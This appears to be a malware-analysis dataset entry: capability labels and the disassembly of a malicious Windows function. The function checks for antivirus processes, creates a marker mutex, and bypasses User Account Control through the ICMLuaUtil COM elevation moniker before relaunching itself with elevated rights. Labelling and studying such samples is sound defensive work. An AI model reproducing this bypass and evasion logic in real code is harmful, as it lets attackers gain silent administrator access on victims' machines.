Function at 0x1001af40
Capabilities:
Bypass uac via icmluautil
Check mutex on windows
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x6c4
mov eax, dword [0x1005e068]
xor eax, esp
mov dword [esp + 0x6c0], eax
push ebx
push esi
push edi
call fcn.1001c340
test eax, eax
je 0x1001afba
lea eax, [esp + 0xa0]
mov dword [esp + 0xa0], str.WinSysFil
push eax
mov dword [esp + 0xa8], 0x1001bf20
mov dword [esp + 0xac], 0
mov dword [esp + 0xb0], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c0]
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [esp + 0xb4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMutexW]
xor bh, bh
push str.uacme2023_09_19
push 0
push 0
call edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1001affa
push esi
mov bh, 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1001aa20
mov ecx, str.kxetray.exe
mov bl, al
call fcn.10019cc0
mov ecx, str.Flag
mov esi, eax
call fcn.10016330
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x1001b528
mov ecx, str.360tray.exe
call fcn.10019cc0
test bh, bh
jne 0x1001b2b6
test eax, eax
je 0x1001b0a8
test bl, bl
je 0x1001b0b0
call fcn.1001b540
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x1001b2d5
push 0x1388
call edi
call fcn.1001b820
test al, al
je 0x1001b2d5
test esi, esi
je 0x1001b381
lea ecx, [esp + 0xb0]
call fcn.1001a4b0
test al, al
je 0x1001b08e
mov edx, 0x10057b80
mov ecx, str.Flag
call fcn.10016260
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c0]
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
test bl, bl
jne 0x1001b36d
test eax, eax
je 0x1001b36d
call fcn.1001b540
test eax, eax
je 0x1001b528
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call ebx
push str.uacme2023_09_19
push 0
push 0
call edi
call fcn.1001a770
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x208
mov dword [esp + 0x14], eax
lea eax, [esp + 0x2bc]
push 0
push eax
mov dword [esp + 0x20], 0
call fcn.10022540
add esp, 0xc
lea ecx, [esp + 0x58]
mov edx, 0x24
nop dword [eax + eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x1001b120
movups xmm0, xmmword [str.Elevation:Administrator_new:]
mov ax, word [0x10057884]
lea edi, [esp + 0x2b8]
mov dword [esp + 0x58], 0x24
add edi, 0xfffffffe
movups xmmword [esp + 0x2b8], xmm0
mov dword [esp + 0x6c], 4
movups xmm0, xmmword [0x1005785c]
mov word [esp + 0x2f0], ax
movups xmmword [esp + 0x2c8], xmm0
movups xmm0, xmmword [0x1005786c]
movups xmmword [esp + 0x2d8], xmm0
movq xmm0, qword [0x1005787c]
movq qword [esp + 0x2e8], xmm0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1001b191
mov ecx, 0x13
lea eax, [esp + 0x14]
mov esi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
rep movsd dword es:[edi], dword [esi]
push eax
push 0x10057bd4
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x2c4]
movsw word es:[edi], word [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, dword [esp + 0x14]
test eax, eax
jne 0x1001b1ec
test esi, esi
je 0x1001b1f8
mov eax, dword [esi]
lea ecx, [esp + 0xb0]
push 5
push 0
push 0
mov eax, dword [eax + 0x24]
push 0
push ecx
push esi
call eax
test esi, esi
je 0x1001b1f8
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
cmp dword [esp + 0x10], 0
jne 0x1001b205
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x4e20
call ebx
mov ecx, str.Flag
call fcn.10016330
push eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
call eax
test eax, eax
jne 0x1001b528
mov esi, 0x258
nop dword [eax + eax]
push 0x3e8
call ebx
sub esi, 1
jne 0x1001b230
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
nop dword [eax]
nop word [eax + eax]
lea eax, [esp + 0xb0]
mov dword [esp + 0x34], 0
xorps xmm0, xmm0
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x1c]
movlpd qword [esp + 0x20], xmm0
push eax
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
movlpd qword [esp + 0x50], xmm0
mov dword [esp + 0x58], 0
mov dword [esp + 0x20], 0x3c
mov dword [esp + 0x2c], 0x10057b8c
mov dword [esp + 0x34], str.__NOFOCUS__checkin
mov dword [esp + 0x3c], 1
call esi
test eax, eax
je 0x1001b250
jmp 0x1001b08e
test eax, eax
je 0x1001b355
test bl, bl
je 0x1001b365
call fcn.1001b820
test al, al
jne 0x1001b34c
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1d4c0
call edi
lea ecx, [esp + 0xb0]
call fcn.1001c500
test eax, eax
je 0x1001b312
mov edx, 0x10057b84
mov ecx, str.Flag
call fcn.10016260
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c0]
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0xb0]
call fcn.1001ab40
test eax, eax
je 0x1001b528
mov edx, 0x10057b88
mov ecx, str.Flag
call fcn.10016260
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c0]
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1001b381
jmp 0x1001b509
test bl, bl
je 0x1001b365
test esi, esi
jne 0x1001b361
test eax, eax
je 0x1001b381
test bl, bl
jne 0x1001b36d
test eax, eax
jne 0x1001b528
test esi, esi
jne 0x1001b06f
test eax, eax
jne 0x1001b06f
test bl, bl
je 0x1001b3bb
lea ecx, [esp + 0xb0]
call fcn.1001c3e0
test al, al
je 0x1001b509
mov edx, 0x10057bc0
mov ecx, str.Flag
call fcn.10016260
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c0]
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
push str.uacme2023_09_19
push 0
push 0
call edi
call fcn.1001a770
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x208
mov ebx, eax
mov dword [esp + 0x1c], 0
lea eax, [esp + 0x4c4]
push 0
push eax
call fcn.10022540
add esp, 0xc
lea ecx, [esp + 0x7c]
mov edx, 0x24
nop
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x1001b400
movups xmm0, xmmword [str.Elevation:Administrator_new:]
mov ax, word [0x10057884]
lea edi, [esp + 0x4c0]
mov dword [esp + 0x7c], 0x24
add edi, 0xfffffffe
movups xmmword [esp + 0x4c0], xmm0
mov dword [esp + 0x90], 4
movups xmm0, xmmword [0x1005785c]
mov word [esp + 0x4f8], ax
movups xmmword [esp + 0x4d0], xmm0
movups xmm0, xmmword [0x1005786c]
movups xmmword [esp + 0x4e0], xmm0
movq xmm0, qword [0x1005787c]
movq qword [esp + 0x4f0], xmm0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1001b474
mov ecx, 0x13
lea eax, [esp + 0x18]
mov esi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
rep movsd dword es:[edi], dword [esi]
push eax
push 0x10057bd4
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x4cc]
movsw word es:[edi], word [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, dword [esp + 0x18]
test eax, eax
jne 0x1001b4d2
test esi, esi
je 0x1001b4de
mov eax, dword [esi]
lea ecx, [esp + 0xb0]
push 5
push 0
push 0
mov eax, dword [eax + 0x24]
push 0
push ecx
push esi
call eax
test esi, esi
je 0x1001b4de
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
test ebx, ebx
jne 0x1001b4e8
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, str.Flag
call fcn.10016330
push eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
call eax
test eax, eax
jne 0x1001b528
lea ecx, [esp + 0xb0]
call fcn.1001a4b0
test al, al
je 0x1001b528
mov edx, 0x10057b80
mov ecx, str.Flag
call fcn.10016260
mov ecx, dword [esp + 0x6cc]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret